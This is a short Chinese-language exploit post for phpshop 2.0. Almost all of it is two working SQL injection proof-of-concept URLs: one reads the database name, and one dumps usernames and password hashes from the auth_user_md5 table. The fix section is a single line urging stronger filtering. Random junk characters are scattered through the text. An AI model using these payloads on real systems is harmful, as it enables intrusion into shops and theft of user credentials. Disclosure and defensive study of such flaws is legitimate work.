phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
8 t! I4 a; w+ D+ M4 f
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
6 B. X' F% X  ?6 h8 C+ O测试地址: windows 7 / ubuntu

& Q" t/ V  q. N4 B. l% X7 E
SQLi p0c:

  D, F7 R) x5 z$ \4 G  a/ p==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

) p( q/ Y$ w4 [: [4 j" Jhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

修复：
加强过滤
​

9 c* p0 }, j7 U7 o' t